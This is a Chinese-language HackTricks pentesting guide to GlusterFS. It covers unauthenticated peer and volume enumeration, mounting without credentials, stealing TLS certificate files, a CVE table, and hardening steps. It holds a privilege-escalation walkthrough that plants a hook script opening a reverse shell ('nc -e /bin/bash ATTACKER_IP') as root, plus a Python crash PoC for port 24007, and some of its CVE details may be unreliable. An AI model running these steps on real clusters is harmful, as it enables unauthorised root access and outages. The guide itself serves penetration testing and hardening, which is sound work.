hacktricks/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md

116 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
## 基本信息
**GlusterFS** 是一个 **分布式文件系统**,将多个服务器的存储结合成一个 **统一的命名空间**。管理守护进程 (`glusterd`) 默认监听 **24007/TCP**,并指示从 **49152/TCP** 开始的数据平面砖块每个砖块一个端口递增。9.x 之前的版本使用 **2400824009/TCP** 进行砖块传输,因此您仍会在遗留集群中遇到这些端口。
```
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
> 提示24007 即使在存储节点 **不** 导出任何卷时也会响应 RPC 调用;因此,该服务在大型基础设施中是一个可靠的支点目标。
## 枚举
在你的攻击机器上安装客户端工具:
```bash
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
1. **对等发现与健康**
```bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
```
2. **卷侦察**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **无权限挂载**
```bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
```
如果挂载失败,请检查客户端上的 `/var/log/glusterfs/<vol_name>-<uid>.log`。常见问题包括:
* TLS 强制执行 (`option transport.socket.ssl on`)
* 基于地址的访问控制 (`option auth.allow <cidr>`)
### 证书故障排除
从任何授权客户端节点窃取以下文件并将其放置在 `/etc/ssl/`(或错误日志中显示的目录):
```
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## 已知漏洞 (2022-2025)
| CVE | 受影响版本 | 影响 | 备注 |
|-----|-------------------|--------|-------|
| **CVE-2022-48340** | 10.010.4, 11.0 | 在 `dht_setxattr_mds_cbk` 中的使用后释放,通过网络可达 | 远程 **DoS** 和可能的 RCE。已在 10.4.1 / 11.1 中修复。 |
| **CVE-2023-26253** | < 11.0 | FUSE 通知处理程序中的越界读取 | 通过精心制作的文件系统操作导致远程崩溃公开的 PoC 可用 |
| **CVE-2023-3775** | < 10.5 / 11.1 | 挂载 `gluster_shared_storage` 时权限验证不正确 | 允许任何未认证的客户端挂载管理员卷 导致下面解释的 **priv-esc** |
> 始终在 **每个节点** 上检查 `gluster --version`;部分升级后异构集群很常见。
### 利用 `gluster_shared_storage` (权限提升)
即使在最近的版本中许多管理员仍然将特殊的 `gluster_shared_storage` 卷设置为全局可读因为这简化了地理复制该卷包含以 **root** 身份在每个节点上运行的 cronjob 模板
```bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
```
如果 `hooks/1/` 不存在请查找 `/ss_bricks/` 精确路径可能会因主要版本而异
### 拒绝服务 PoC (CVE-2023-26253)
```python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
```
运行脚本会导致 `glusterfsd` 11.0 之前崩溃
---
## 加固与检测
* **升级** 当前 LTS 11.12025 7 )。所有上述 CVE 已修复
* 为每个砖块启用 **TLS**
```bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
```
* 使用 CIDR 列表限制客户端
```bash
gluster volume set <vol> auth.allow 10.0.0.0/24
```
* 仅在 **私有 VLAN** 或通过 SSH 隧道暴露管理端口 24007
* 监视日志:`tail -f /var/log/glusterfs/glusterd.log` 并配置 **audit-log** 功能`volume set <vol> features.audit-log on`)。
---
## 参考
* [GlusterFS 安全公告](https://docs.gluster.org/en/latest/release-notes/#security)
* [CVE-2023-26253 PoC github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
{{#include ../banners/hacktricks-training.md}}